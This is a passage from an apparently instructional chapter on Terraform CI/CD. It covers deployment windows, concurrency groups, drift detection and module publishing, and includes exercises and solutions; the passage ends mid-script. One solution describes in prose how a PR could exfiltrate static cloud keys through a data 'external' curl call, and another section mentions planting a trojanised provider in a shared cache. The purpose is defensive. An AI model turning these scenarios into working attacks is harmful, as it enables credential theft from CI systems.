Protected environments: what they really are

A "protected environment" in a CI system is an object with three properties:

Property What it does Why it matters in Terraform
Mandatory reviewers The job stops until N people approve The gate before writing
Its own secrets and variables Only that environment's jobs can see them prod credentials do not leak into a dev job
Allowed branches Only from main, for instance A PR cannot deploy to prod

And, as we saw in §5, the property that ties them all together: the OIDC token's sub includes the environment, so the restriction also applies on the cloud side.

Deployment windows

A deployment window is a constraint on when, and in infrastructure it matters more than in applications because the recovery time is longer.

#!/usr/bin/env bash
# ci/deployment-window.sh — runs before the apply in prod.
set -euo pipefail

# An explicit, recorded exception, for incidents.
if [ "${URGENT_DEPLOYMENT:-no}" = "yes" ]; then
  echo "WARNING: out-of-window deployment authorised by ${APPROVER:?APPROVER missing}."
  echo "Reason: ${URGENCY_REASON:?URGENCY_REASON missing}"
  exit 0
fi

DAY=$(date -u +%u)     # 1=Monday ... 7=Sunday
HOUR=$(date -u +%H)

# Monday to Thursday, from 08:00 to 16:00 UTC. No Fridays, no weekends:
# not because the code is worse on a Friday, but because the people who
# know how to fix it are not around on Saturday.
if [ "${DAY}" -gt 4 ]; then
  echo "BLOCKED: no deployments to prod from Friday to Sunday."
  exit 1
fi
if [ "${HOUR}" -lt 8 ] || [ "${HOUR}" -ge 16 ]; then
  echo "BLOCKED: outside the window (08:00-16:00 UTC). It is ${HOUR}:00."
  exit 1
fi

echo "Inside the deployment window."

Notice that the exception exists and demands a name and a reason. A window with no escape hatch ends up being bypassed by disabling the step, and then there is no record of anything.

  1. Concurrency: one apply per state

03-04 explained backend locking: two apply runs over the same state cannot happen at once because the second one waits or fails. That solves corruption. It does not solve the waste or the confusion, which is what shows up in CI.

Layer What it protects Where it lives What happens without it
State lock (module 3) Corruption of the state file DynamoDB or the bucket's .tflock Two simultaneous writes wreck the state
Concurrency group (CI) Launching jobs that will not be able to work The CI system Five jobs waiting 5 min for the lock and failing

Both are necessary. The second is an optimisation with an important side effect: it makes the order deterministic.

sequenceDiagram
    participant PR1 as Merge A
    participant PR2 as Merge B
    participant CG as Concurrency group<br/>tf-prod-app
    participant TF as State (lock)

    PR1->>CG: request a turn
    CG-->>PR1: granted
    PR1->>TF: apply (acquires the lock)
    PR2->>CG: request a turn
    CG-->>PR2: QUEUED (no runner starts)
    PR1->>TF: releases the lock
    PR1->>CG: turn released
    CG-->>PR2: granted
    PR2->>TF: apply
    Note over PR2,TF: B's plan may be STALE<br/>after A's apply:<br/>"Saved plan is stale" (§6)

The diagram's closing note is the correct behaviour: B is rejected because its plan is no longer valid. That is the system working.

How to name a concurrency group

The rule: the group must identify the state, not the repository or the branch.

tf-apply-<environment>-<component>
  → tf-apply-prod-app
  → tf-apply-prod-data
  → tf-apply-dev-app

prod-app and prod-data are different states (07-01), so they can be applied in parallel without any trouble. Grouping them all under tf-apply-prod would serialise them unnecessarily.

And a subtler decision: do the plan runs also go in the group? No, for two reasons: they are read-only, and serialising the plans would turn the PR pipeline into a queue. With -lock-timeout=5m, a plan that coincides with an apply simply waits.

Orphan locks from cancellation

The scenario everybody lives through sooner or later: somebody cancels an apply job from the CI interface. The runner receives SIGKILL, Terraform dies without releasing the lock, and the item stays there. The next apply fails:

Error acquiring the state lock

Lock Info:
  ID:        a3f1c2e8-7b4d-4e91-b2a3-9c8d7e6f5a41
  Path:      ecomarket/prod/app/terraform.tfstate
  Operation: OperationTypeApply
  Who:       runner@ip-10-20-3-14
  Created:   2026-02-17 09:41:22.184 +0000 UTC
Cause How to tell it apart What to do
An apply in progress There is a CI job running right now Wait. Force nothing
A cancelled job The job shows as cancelled in the CI interface force-unlock with the exact ID, after verifying
A dead runner The job shows as failed with no closing logs Likewise, but verify the state first
# BEFORE forcing: verify that NOBODY is applying.
# The "Who" and "Created" fields of the message are your starting point.
terraform state pull | jq '.serial, .lineage'   # does it match what you expect?

# Only then, and with the EXACT ID from the error message:
terraform force-unlock a3f1c2e8-7b4d-4e91-b2a3-9c8d7e6f5a41

And this is not automated. It is on the §13 list for a concrete reason: an automatic force-unlock on any old lock turns "two simultaneous apply runs" from impossible into routine the day a legitimate apply takes longer than expected.

The correct mitigation is a design one: make the apply impossible to cancel half-way, or at least have the interface warn you. Some CI systems let you configure cancellation to send SIGINT and wait: Terraform treats the first SIGINT as "finish what you are doing and exit cleanly", which is exactly what we want.

  1. Scheduled drift detection

03-01 defined drift: the real world and the state stop matching because somebody touched something outside Terraform. Until now it was a concept; the pipeline turns it into an alert.

-detailed-exitcode and its three codes

terraform plan -detailed-exitcode -out=drift.tfplan
echo "code: $?"
Code Meaning What the pipeline does
0 No changes: reality matches the code Nothing. Silence
1 Error: planning failed Alert the team: credentials, network, syntax
2 There are pending changes Drift detected: open an issue with the detail

The beginner's error is treating any non-zero exit as a failure. With -detailed-exitcode, 2 is the interesting case and 1 is the broken one, and confusing them makes an expired credential get reported as "there is drift".

#!/usr/bin/env bash
# ci/detect-drift.sh — runs every night, per environment and component.
# NOTE: no 'set -e' on the plan line, because exit code 2 is expected.
set -uo pipefail

ENVIRONMENT="${1:?}"
COMPONENT="${2:?}"
ROOT="$(git rev-parse --show-toplevel)"
DIR="${ROOT}/infra/${COMPONENT}"

export TF_IN_AUTOMATION=1 TF_INPUT=false

terraform -chdir="${DIR}" init -reconfigure -lockfile=readonly \
  -backend-config="${ROOT}/backends/${ENVIRONMENT}.hcl" > /dev/null

set +e
terraform -chdir="${DIR}" plan -no-color -detailed-exitcode -lock-timeout=2m \
  -var-file="${ROOT}/environments/common.auto.tfvars" \
  -var-file="${ROOT}/environments/${ENVIRONMENT}.tfvars" \
  -out="${DIR}/drift.tfplan" > "${DIR}/drift.txt" 2>&1
CODE=$?
set -e

case "${CODE}" in
  0)
    echo "NO DRIFT in ${ENVIRONMENT}/${COMPONENT}."
    exit 0
    ;;
  2)
    echo "DRIFT DETECTED in ${ENVIRONMENT}/${COMPONENT}."
    terraform -chdir="${DIR}" show -json drift.tfplan > "${DIR}/drift.json"

    # Which resources have changed and which attributes. This is what goes
    # into the body of the issue: without it, the alert is useless.
    jq -r '.resource_changes[]
       | select(.change.actions != ["no-op"])
       | "\(.change.actions | join("+")) \(.address)"' "${DIR}/drift.json"

    # The specific attributes that differ, for in-place changes.
    jq -r '.resource_changes[]
       | select(.change.actions == ["update"])
       | .address as $addr
       | (.change.before // {}) as $before
       | (.change.after  // {}) as $after
       | ($after | keys[]) as $k
       | select(($before[$k] // null) != ($after[$k] // null))
       | "  \($addr).\($k): \($before[$k] // "null") → \($after[$k] // "null")"' \
       "${DIR}/drift.json"

    exit 2
    ;;
  *)
    echo "ERROR planning ${ENVIRONMENT}/${COMPONENT} (code ${CODE})."
    tail -30 "${DIR}/drift.txt"
    exit 1
    ;;
esac

What to do with the drift you detect

Detecting it is the easy part. The hard question is what the pipeline does next, and there are three defensible answers:

Answer How When it is right Risk
Only warn Open an issue with the detail Production, always Issues pile up and nobody looks at them
Warn and propose Open a PR that reflects reality in the code When the drift is usually legitimate (manual scaling) It can normalise manual change
Fix itself Automatic apply to go back to the code Only in dev, and only if it is disposable It destroys manual work in progress with no warning

EcoMarket picks "only warn" in staging and prod, and "fix itself" in dev. The reason for not fixing in production is concrete: drift may be an incident mitigation applied by hand at three in the morning, and a cron job that reverts it at four turns one incident into two.

Continuous reconciliation — a controller that corrects drift permanently — is a different model, with its own set of risks, and it is the subject of 08-05.

Drift alerts versus health alerts

These are two different things that get confused constantly, and 06-05 already flagged the difference.

Drift alert Health alert (check)
Question it answers Does the infrastructure match the code? Does the infrastructure work?
How you get it plan -detailed-exitcode → code 2 check_results in the state, or .checks in the plan JSON
Typical example Somebody opened port 22 in the console https://ecomarket.example.com/health returns 503
You can have one without the other Yes: code deployed fine, service down Yes: harmless drift, service perfect
Who gets alerted The platform team, during working hours On call, immediately
Urgency Days Minutes

The mistake people make: routing both to the same channel. Then the drift alert — frequent and not urgent — trains the team to ignore the channel, and the day the health check says the store is not responding, nobody looks at it.

# The same nightly plan serves both purposes: they are extracted separately.
terraform show -json drift.tfplan > drift.json

# 1. Drift: proposed changes (#ecomarket-platform channel, working hours).
jq -r '[.resource_changes[] | select(.change.actions != ["no-op"])] | length' drift.json

# 2. Health: checks that do not pass (on-call channel, immediate).
#    Remember the data "http" check against /health from 06-05.
jq -r '.checks[]?
   | select(.status != "pass")
   | "\(.address.to_display): \(.status) — \(.instances[0].problems[0].message // "no message")"' \
   drift.json

  1. What is NEVER automated

A module about automation needs an explicit list of exceptions, because the temptation to automate everything is real and some of those automations are weapons.

Operation Why NOT What to do instead
terraform destroy of staging or prod There is no legitimate case for automatically destroying a persistent environment. One wrong parameter destroys the store Manual destruction, with double approval and prevent_destroy as a net. Ephemeral PR environments (06-01) are fine, because the sweeper acts on workspaces with the pr- prefix and an expiry
terraform import without review A blind import can adopt somebody else's resource and then destroy it on the next apply, or trample one already managed import generates a plan; that plan is reviewed like any other (06-04)
Automatic terraform force-unlock It makes the lock decorative on exactly the day a legitimate apply runs long Manual verification with the exact ID (§11)
terraform state rm / state mv Surgery on the state. Automated, it corrupts without leaving any trace of the intent moved/removed in the code (03-05), which do get reviewed on the PR
-target in the pipeline It produces partial states and hides the real problem If it is needed, it is a documented manual intervention
Permanent -refresh=false Faster plans that ignore reality; drift accumulates invisibly Only for a specific occasion, and never in the plan that gets approved
Automatic retry of a failed apply A half-done apply, retried, can duplicate non-idempotent resources or make the state worse Human diagnosis (module 9)
Approving your own PR from the bot It cancels out the entire value of review Never

The rule that unifies them: you automate what is reversible or what has been reviewed. What is irreversible and unreviewed, you do not.

  1. Caches, timings and pipeline cost

A slow pipeline gets skipped. If a PR's plan takes eight minutes, people start asking to merge "without waiting for CI", and there goes the machine module 7 was asking for.

Where the time goes

Phase Typical time How it is reduced
Runner start-up 10–60 s An image with Terraform already installed
init: provider downloads 15–90 s TF_PLUGIN_CACHE_DIR + the CI cache
init: backend connection 1–3 s Nothing to be done
validate, fmt, tflint 1–10 s Nothing to be done; they are cheap already
Static scanner 10–60 s Limit the scope to the changed directories
terraform test 20 s – several min mock_provider wherever possible (07-03)
plan: the API refresh 30 s – several min -parallelism, smaller states

The bold row is the dominant one and the one caching does not fix: plan queries the cloud API for every resource in the state. A state with 800 resources takes irreducible minutes.

And that is the real operational reason for splitting the state, which 07-01 justified in terms of blast radius. The second justification is this one: the app state plans in 40 seconds; a monolithic state with network + data + app takes four minutes, on every PR, for the whole team, every day.

The provider cache

export TF_PLUGIN_CACHE_DIR="${HOME}/.terraform.d/plugin-cache"
mkdir -p "${TF_PLUGIN_CACHE_DIR}"

With this, init creates symbolic links into the cache instead of downloading. The saving is real: the AWS provider is over 600 MB uncompressed, and downloading it in every job of every PR is time and transfer.

Two important warnings:

The cache must persist between runs, but not be shared between projects without control. The correct cache key includes the hash of the .terraform.lock.hcl: if the lockfile changes, the cache changes.

And a security warning: the cache contains executable binaries. If a compromised runner can write to a shared cache, it can plant a trojanised provider that every other project will then execute. That is a supply-chain attack (07-04), and the defence is twofold: per-project caches, and -lockfile=readonly.

-lockfile=readonly: the pipeline does not update providers

terraform init -lockfile=readonly -backend-config=backends/prod.hcl

With this flag, if the version-controlled .terraform.lock.hcl does not cover what init would need — because a platform is missing, or because a version constraint allows something newer — init fails instead of updating the file silently.

Why it matters: without it, a pipeline can install a different provider version from the one you used, and produce a different plan from the same code. With it, updating a provider is an explicit change in a PR: somebody runs terraform init -upgrade on their laptop, the lockfile changes, and that change gets reviewed.

The typical failure when you turn it on:

Error: Inconsistent dependency lock file

Provider registry.terraform.io/hashicorp/aws v5.62.0 does not have a package
for the current platform, linux_amd64.

Cause: the lockfile was generated on macOS ARM and the runner is Linux x86. The fix is to record every platform in the lockfile:

terraform providers lock \
  -platform=darwin_arm64 \
  -platform=darwin_amd64 \
  -platform=linux_amd64 \
  -platform=linux_arm64

This is run once and committed. Doing it is mandatory in any team with Mac laptops and Linux runners, which is practically all of them.

The cost of the runner

Decision Effect on cost
Managed runners billed per minute Predictable; careful with 9-combination matrices on every push
Self-hosted runners Cheaper at high volume; more attack surface (08-03)
Filtering by paths The biggest and easiest saving
cancel-in-progress on PRs Cancel the previous plan when a new push arrives
Full matrix only on main On the PR, only the affected environments

cancel-in-progress deserves a note: it is correct for a PR's plans (the previous one is no longer of interest) and never for the apply runs (cancelling an apply half-way leaves the world half-done and the orphan lock from §11).

  1. The module pipeline, which is another pipeline

Everything above describes the pipeline of a root configuration: something that has state, that gets applied and that changes the world. The network, data, app and ecomarket-platform modules from 04-04 are a different thing: libraries that get published, and their pipeline looks nothing like it.

Root pipeline Module pipeline
What it produces Changes in the cloud A published version
Has state Yes No
Needs write credentials Yes, on the apply Only for integration tests
"Deployment" trigger Merge into main A vX.Y.Z tag
What gets reviewed The plan The interface, the documentation and the CHANGELOG
Rollback Apply the previous state Publish the next version; never move a tag
#!/usr/bin/env bash
# ci/module-verify.sh — PR pipeline of a module repository.
set -euo pipefail

terraform fmt -check -recursive
terraform init -backend=false -lockfile=readonly   # no backend: there is no state
terraform validate
tflint --recursive

# The documentation is GENERATED; if the committed file does not match
# what would be generated, FAIL. Without this, the README lies within a month.
terraform-docs markdown table --output-file README.md --output-check .

# Unit tests with mock_provider: fast, no cloud, no credentials.
terraform test -filter=tests/unit

# The examples are validated too: a broken example is the first place
# whoever is about to use the module will look.
for ex in examples/*/; do
  terraform -chdir="$ex" init -backend=false -lockfile=readonly
  terraform -chdir="$ex" validate
done

terraform-docs --output-check is the piece that usually goes missing and the one that delivers the most value per line of configuration. It does not generate the documentation: it checks that the committed version matches what would be generated. If somebody adds a variable without updating the README, the PR fails and the message says exactly what to do.

And the publication, triggered by a tag:

#!/usr/bin/env bash
# ci/module-publish.sh — runs when a vX.Y.Z tag is pushed.
set -euo pipefail

TAG="${1:?Usage: module-publish.sh vX.Y.Z}"
VERSION="${TAG#v}"

# 1. The tag must be strict SemVer (04-05).
if ! echo "${VERSION}" | grep -Eq '^[0-9]+\.[0-9]+\.[0-9]+(-[0-9A-Za-z.-]+)?$'; then
  echo "The tag '${TAG}' is not SemVer. Format: v3.2.1"
  exit 1
fi

# 2. The CHANGELOG must have an entry for THIS version.
#    This forces the change to be documented BEFORE publishing it.
if ! grep -q "^## \[${VERSION}\]" CHANGELOG.md; then
  echo "Missing the '## [${VERSION}]' entry in CHANGELOG.md."
  echo "A version with no release note is a version nobody knows whether to adopt."
  exit 1
fi

# 3. If it is a MAJOR change, require the migration section.
if [[ "${VERSION}" =~ ^([0-9]+)\. ]] && [ "${BASH_REMATCH[1]}" -gt 0 ]; then
  if grep -A 40 "^## \[${VERSION}\]" CHANGELOG.md | grep -q "BREAKING"; then
    grep -A 60 "^## \[${VERSION}\]" CHANGELOG.md | grep -q "### Migration" || {
      echo "Breaking change with no '### Migration' section in the CHANGELOG."
      echo "A major change with no migration guide blocks every consumer."
      exit 1
    }
  fi
fi

# 4. The full suite before tagging (07-03): integration included.
terraform test

# 5. Publication: the registry watches the repository's tags.
echo "Module ready to be published as ${TAG}."
echo "The registry will index the tag automatically."

Checks 2 and 3 are what turn the CHANGELOG into a living document. Without them, it gets updated three times and then never again.

The testing strategy from 07-03 fits here exactly: unit on every PR, integration every night, the full suite before tagging. Step 4 of this script is the full suite, and that is why it is slow and why it only runs on publication.

Common Mistakes and Tips

Re-planning in the apply job. Mistake number one, and the one that makes everything else useless. If the apply runs terraform apply instead of terraform apply plan.tfplan, what gets applied is not what was approved. Tip: forbid it with a check in the pipeline itself — make the apply step fail if it does not receive a plan file as an argument.

Using the same role for plan and for apply. It is convenient, and it hands write permissions to anybody who can open a PR, because the plan runs code from the PR. Tip: if you have a single role right now, half the value of this lesson lies in splitting it this week.

Publishing the plan with terraform show -json on the PR. It dumps var.db_password in the clear into a comment that stays in the repository's history forever. show without -json respects sensitive. The JSON is used inside the runner and never leaves it.

Archiving the .tfplan unencrypted with 90-day retention. It is the default configuration of almost every CI, and it means the production credentials of the last three months are downloadable by anybody with access to the repository. Tip: 7-day retention, encryption, and restricted access for prod.

Treating -detailed-exitcode's exit code 2 as a failure. Then drift gets reported as a pipeline error, gets ignored as noise, and the nightly job ends up disabled. Tip: a case with three explicit branches, like the script in §12.

Forgetting -input=false. The job hangs waiting for an answer nobody will give, burns an executor for the full timeout, and the log says nothing useful. Tip: set it as a global environment variable (TF_INPUT=false), not as a flag you forget.

Forgetting -reconfigure when switching environments in the same workspace. Terraform notices the backend changed and offers to migrate the state. In a pipeline with no interactive input, that is a failure; with -input=false it is a cryptic error. Tip: -reconfigure always in CI, where the directory is new on every run anyway.

A single concurrency group for the whole repository. It serialises prod-data behind dev-app and turns the pipeline into a queue. Tip: the group identifies the state, not the repository.

Putting cancel-in-progress on the apply job. Cancelling an apply half-way leaves the world inconsistent and the lock orphaned. Tip: cancel-in-progress only on PR plans.

Not pinning the Terraform version on the runner. The day CI updates its image, every state has its format upgraded at once, and the team's laptops can no longer read them. Tip: the version is pinned in the repository's .terraform-version and the runner reads it from there. Never latest.

Generating the lockfile only for your platform. It works on your Mac and fails on the Linux runner with Inconsistent dependency lock file. Tip: terraform providers lock -platform=... with all four platforms, once, committed.

Confusing the drift alert with the health alert. Both land in the same channel, the drift one is frequent, the channel gets ignored, and on the day of the incident nobody sees the health one. Tip: different channels and different urgencies, like the table in §12.

Automating the force-unlock. It looks like it solves a recurring annoyance, and what it does is switch off state locking on exactly the day a legitimate apply takes longer than expected.

Exercises

Exercise 1: diagnose a real pipeline

A team has this pipeline (tool-agnostic pseudocode) for the ecomarket-infra repository. It runs on every push to any branch.

trigger: push to any branch

job: terraform
  credentials:
    AWS_ACCESS_KEY_ID:     ${{ secret.AWS_KEY }}
    AWS_SECRET_ACCESS_KEY: ${{ secret.AWS_SECRET }}
  steps:
    - checkout
    - install terraform  # version: latest
    - run: terraform init -backend-config=backends/prod.hcl
    - run: terraform plan -var-file=environments/prod.tfvars
    - run: |
        terraform show -json > plan.json
        comment_on_pr(content: cat plan.json)
    - if: branch == main
      run: terraform apply -auto-approve -var-file=environments/prod.tfvars

Tasks:

  1. List every problem you find, classified by severity.
  2. For the three most serious, describe a concrete scenario in which they cause an incident.
  3. Rewrite the corrected pseudocode.

Exercise 2: the freshness guard and the window

EcoMarket has decided that:

  • A prod plan expires after 4 hours.
  • prod deployments only happen Monday to Thursday, 09:00–17:00 Madrid time.
  • There is an escape hatch for incidents, which requires an approver and a reason, and which leaves a record.
  • If the plan has expired or we are outside the window, the job must fail with a message that says exactly what to do.

Write a single ci/prod-gate.sh script that implements all four conditions. It must receive the plan file path as its first argument. Bear in mind that Madrid is UTC+1 in winter and UTC+2 in summer.

Exercise 3: separating the drift alert from the health alert

EcoMarket's nightly job runs plan -detailed-exitcode over the 9 environment/component pairs and sends everything to #ecomarket-platform. The team complains that the channel is noise and nobody looks at it any more.

Design the redesign:

  1. A table defining, for each type of finding, the channel, the urgency and the recipient.
  2. The script fragment that classifies a nightly result into your table's categories.
  3. A deduplication rule: if the same drift is detected seven nights in a row, what should happen?

Solutions

Solution 1

1. Problems, by severity.

# Problem Severity Reference
1 terraform apply -auto-approve re-plans: it applies a delta nobody has seen CRITICAL §3, §6
2 A single role with static keys, used for plan and apply, over production CRITICAL §4
3 The PR comment publishes plan.json: secrets in the clear, permanent in the history CRITICAL §6, §7
4 It triggers on any branch, PR branches included, with prod write credentials CRITICAL §4
5 Only prod exists: there is no dev or staging, there is no promotion HIGH §9, §10
6 There is no approval or protected environment before the production apply HIGH §10
7 terraform: latest — the version is not pinned HIGH §14
8 -input=false is missing: the job can hang Medium §2
9 There is no fmt, validate, tflint, scanner, terraform test or policies: the whole of module 7 unexecuted HIGH §3
10 There is no concurrency group: two merges in a row trample each other Medium §11
11 -lock-timeout is missing: a concurrent apply fails instantly Low §2
12 An explicit common.auto.tfvars and -reconfigure are missing Low §9
13 No -lockfile=readonly: the provider can change by itself Medium §14

2. The three concrete scenarios.

Problem 1 (re-planning). On Monday at 10:00 a PR is opened that changes the instance size. The plan says "3 to change". It is approved. The PR is merged on Tuesday at 16:00. In between, another PR that renamed the assets bucket was merged and did not carry a moved block. Tuesday's apply recomputes, and the real plan is "3 to change, 1 to destroy": the production assets bucket. Because it is -auto-approve, it gets destroyed. Nobody ever saw that plan.

Problem 2 (a single role with static keys). A contributor opens a PR that adds a .tf file with a data "external" block running curl against the metadata endpoint and the environment variables. Because the trigger is "any branch" and the credentials are static and hold write access over production, that PR's plan exfiltrates AWS_SECRET_ACCESS_KEY. The attacker now has permanent write permissions over the production account, and the key does not expire.

Problem 3 (the plan JSON on the PR). The comment includes .variables.db_password.value in the clear. It stays in the repository history forever — editing the comment does not remove it from the email notifications already sent, nor from the edit-history API. Anybody with read access to the repository, today or in two years, has the production database password.

3. Corrected pseudocode.

# --------- JOB 1: PROPOSAL (triggered on every push to a PR) ---------
trigger: pull_request
  paths: [ "infra/**", "modules/**", "environments/**", "backends/**", "ci/policies/**" ]

job: proposal
  matrix:
    environment: [dev, staging, prod]
  concurrency:
    group: plan-${{ pr.number }}-${{ matrix.environment }}
    cancel_in_progress: true         # this PR's previous plan is no longer of interest
  permissions:
    id-token: write                  # OIDC
    pull-requests: write             # in order to comment
    contents: read
  env_variables:
    TF_IN_AUTOMATION: "1"
    TF_INPUT: "false"
    TF_PLUGIN_CACHE_DIR: ~/.terraform.d/plugin-cache
  steps:
    - checkout
    - install terraform: from .terraform-version      # NEVER latest
    - assume_oidc_role: ecomarket-terraform-plan-${{ matrix.environment }}   # READ-ONLY

    - run: terraform fmt -check -recursive            # the cheapest, first
    - run: terraform init -reconfigure -lockfile=readonly
             -backend-config=backends/${{ matrix.environment }}.hcl
    - run: terraform validate
    - run: tflint --recursive
    - run: trivy config .
    - run: terraform test -filter=tests/unit

    - run: ci/plan.sh ${{ matrix.environment }} app   # generates the .tfplan

    - run: terraform show -json plan.tfplan > plan.json   # does NOT leave the runner
    - run: conftest test --policy ci/policies/ --parser json plan.json
    - run: ci/destroy-guard.sh ${{ matrix.environment }}

    - run: ci/plan-summary.sh plan.tfplan ${{ matrix.environment }}
    - comment_on_pr:
        content: comment.md           # show WITHOUT -json: respects sensitive
        update_existing: true         # do not add a new one on every push

    - encrypt: plan.tfplan -> plan.tfplan.age
    - archive:
        files: [plan.tfplan.age, plan.tfplan.created]
        retention_days: 7
        access: platform-team

# --------- JOB 2: APPLY (on merge into main) ---------
trigger: push to main

job: apply
  matrix:
    environment: [dev, staging, prod]
    sequential: true                 # dev -> staging -> prod, in that order
  concurrency:
    group: tf-apply-${{ matrix.environment }}-app
    cancel_in_progress: false        # NEVER cancel an apply
  protected_environment: ${{ matrix.environment }}   # dev with no reviewers; staging/prod with them
  permissions:
    id-token: write
    contents: read
  steps:
    - checkout
    - install terraform: from .terraform-version
    - download_artefact: plan.tfplan.age
    - decrypt: plan.tfplan.age -> plan.tfplan
    - run: ci/check-plan-freshness.sh plan.tfplan
    - if: matrix.environment == prod
      run: ci/deployment-window.sh

    - assume_oidc_role: ecomarket-terraform-${{ matrix.environment }}   # WRITE
    - run: terraform init -reconfigure -lockfile=readonly
             -backend-config=backends/${{ matrix.environment }}.hcl
    - run: terraform apply plan.tfplan     # THE file. No -auto-approve, no -var-file
    - run: terraform output -json > outputs.json

Solution 2

#!/usr/bin/env bash
# ci/prod-gate.sh — plan freshness + deployment window for prod.
# Usage: ci/prod-gate.sh <file.tfplan>
set -euo pipefail

PLAN="${1:?Usage: ci/prod-gate.sh <file.tfplan>}"
MAX_HOURS=4

# The time zone is set explicitly: the runner is in UTC, but the window is
# defined by Madrid working hours. Letting the script depend on the runner's
# TZ is how a deployment sneaks through at 7 a.m.
export TZ="Europe/Madrid"

fail() {
  echo "=============================================="
  echo "PRODUCTION GATE: BLOCKED"
  echo "=============================================="
  echo "$1"
  echo
  echo "$2"
  exit 1
}

# ---------- 1. PLAN FRESHNESS ----------
[ -f "${PLAN}" ]          || fail "The plan file '${PLAN}' does not exist." \
  "The proposal job did not archive the artefact, or its retention has expired."
[ -f "${PLAN}.created" ]  || fail "The timestamp '${PLAN}.created' is missing." \
  "The file's mtime is lost when archiving: ci/plan.sh must write that marker."

CREATED=$(cat "${PLAN}.created")
NOW=$(date +%s)
AGE_MIN=$(( (NOW - CREATED) / 60 ))
MAX_MIN=$(( MAX_HOURS * 60 ))

if [ "${AGE_MIN}" -ge "${MAX_MIN}" ]; then
  fail "The plan is $(( AGE_MIN / 60 ))h $(( AGE_MIN % 60 ))min old (maximum ${MAX_HOURS}h)." \
"An old plan may have been computed against a reality that has already changed.
What to do:
  1. Run the proposal job again against the merged commit.
  2. REVIEW the new plan: it may not match the one you approved.
  3. Re-run this job."
fi

# ---------- 2. ESCAPE HATCH ----------
# It is checked AFTER the freshness on purpose: not even an incident
# justifies applying a plan computed yesterday.
if [ "${URGENT_DEPLOYMENT:-no}" = "yes" ]; then
  : "${APPROVER:?The urgency hatch requires APPROVER (first name and surname)}"
  : "${URGENCY_REASON:?The urgency hatch requires URGENCY_REASON}"
  : "${INCIDENT:?The urgency hatch requires INCIDENT (the ticket identifier)}"

  # The record is the price of bypassing the window: if no trace is left,
  # the hatch gets used for everything and the window stops existing.
  echo "=============================================="
  echo "OUT-OF-WINDOW DEPLOYMENT AUTHORISED"
  echo "  Approver: ${APPROVER}"
  echo "  Incident: ${INCIDENT}"
  echo "  Reason:   ${URGENCY_REASON}"
  echo "  Time:     $(date '+%Y-%m-%d %H:%M %Z')"
  echo "  Plan:     ${AGE_MIN} min old"
  echo "=============================================="
  # It is also left in a file so that the job archives it.
  printf 'approver=%s\nincident=%s\nreason=%s\ntime=%s\n' \
    "${APPROVER}" "${INCIDENT}" "${URGENCY_REASON}" "$(date -Is)" \
    > urgency.txt
  exit 0
fi

# ---------- 3. DEPLOYMENT WINDOW ----------
DAY=$(date +%u)       # 1=Monday ... 7=Sunday, already in Madrid time
HOUR=$(date +%-H)     # -H stops "09" being read as octal

WINDOW_MESSAGE="Production window: Monday to Thursday, 09:00-17:00 (Europe/Madrid).
It is currently $(date '+%A %H:%M %Z').

If there is an incident in progress, use the urgency hatch:
  URGENT_DEPLOYMENT=yes APPROVER='First Last' \\
  INCIDENT='INC-1234' URGENCY_REASON='...' <re-run the job>

It is recorded and reviewed at the retrospective."

if [ "${DAY}" -gt 4 ]; then
  fail "Today is $(date '+%A'): no production deployments from Friday to Sunday." \
    "${WINDOW_MESSAGE}"
fi

if [ "${HOUR}" -lt 9 ] || [ "${HOUR}" -ge 17 ]; then
  fail "It is $(date '+%H:%M %Z'): outside the window." "${WINDOW_MESSAGE}"
fi

echo "Production gate: PASSED."
echo "  Plan is ${AGE_MIN} min old (limit ${MAX_HOURS}h)."
echo "  $(date '+%A %H:%M %Z'), inside the window."

The three details that make the difference in this script:

  • export TZ="Europe/Madrid" at the top. The runner is in UTC. Without this line, the "09:00–17:00" window would be 10:00–18:00 in Madrid in winter and 11:00–19:00 in summer. Setting the TZ lets date work out daylight saving on its own.
  • Freshness is checked before the urgency hatch. This is deliberate: an incident justifies bypassing the schedule, not applying a stale plan. The other way round, urgency would be a way to sneak any plan through.
  • ${VARIABLE:?message} to require the approver, the incident and the reason. It fails with a clear message if any of them is missing, and it makes it impossible to use the hatch "quickly and without writing anything down".

Solution 3

1. Classification table.

Finding How it is detected Channel Urgency Recipient
Health down in prod .checks[] status != pass in prod Automatic on-call pager Immediate On call
Health down in staging Likewise in staging #ecomarket-platform Working hours Platform
Drift in prod with destroyed resources Code 2 and there are delete actions #ecomarket-platform + issue labelled urgent Same day Platform
Drift in prod with no destructions Code 2, only create/update An issue, no channel message This week Platform
Drift in staging Code 2 A weekly grouped issue This week Platform
Drift in dev Code 2 Nothing: it fixes itself with an apply — —
Planning error (code 1) Exit code 1 #ecomarket-platform Same day Platform
No drift (code 0) Code 0 Silence — —

The principle that orders it: every message that reaches a channel must demand an action from somebody. Anything that is "for the record" goes to an issue, not to a channel.

2. The classifier.

#!/usr/bin/env bash
# ci/classify-nightly.sh
# Usage: ci/classify-nightly.sh <environment> <component> <code> <plan.json>
set -euo pipefail

ENVIRONMENT="$1"; COMPONENT="$2"; CODE="$3"; JSON="$4"
PAIR="${ENVIRONMENT}/${COMPONENT}"

# --- The checks are ALWAYS inspected, even with code 0. ---
# Infrastructure can match the code and still be down: the data "http"
# check against https://ecomarket.example.com/health has nothing to do
# with whether the plan comes out empty.
HEALTH=$(jq -r '[.checks[]? | select(.status != "pass")
   | "\(.address.to_display): \(.status) — \(.instances[0].problems[0].message // "no message")"]
   | join("\n")' "${JSON}" 2>/dev/null || echo "")

if [ -n "${HEALTH}" ]; then
  if [ "${ENVIRONMENT}" = "prod" ]; then
    notify_oncall "HEALTH ${PAIR}" "${HEALTH}"      # pager, immediate
  else
    notify_channel "#ecomarket-platform" "Health ${PAIR}" "${HEALTH}"
  fi
fi

# --- And now the drift, which is a different question. ---
case "${CODE}" in
  0)
    echo "No drift in ${PAIR}."       # deliberate silence
    ;;

  1)
    notify_channel "#ecomarket-platform" \
      "Planning error in ${PAIR}" \
      "The nightly plan could not run. Credentials, network or syntax. Log attached."
    ;;

  2)
    DESTROYED=$(jq '[.resource_changes[]
        | select(.change.actions | index("delete"))] | length' "${JSON}")
    SUMMARY=$(jq -r '[.resource_changes[]
        | select(.change.actions != ["no-op"])
        | "\(.change.actions | join("+")) \(.address)"] | join("\n")' "${JSON}")

    # The fingerprint identifies the drift by its CONTENT, not by the date:
    # that way the same drift over seven nights produces the same fingerprint.
    FINGERPRINT=$(printf '%s' "${SUMMARY}" | sha256sum | cut -c1-12)

    case "${ENVIRONMENT}" in
      dev)
        echo "Drift in dev: it gets corrected automatically."
        ci/corrective-apply.sh dev "${COMPONENT}"
        ;;
      staging)
        deduplicated_issue "drift-${FINGERPRINT}" \
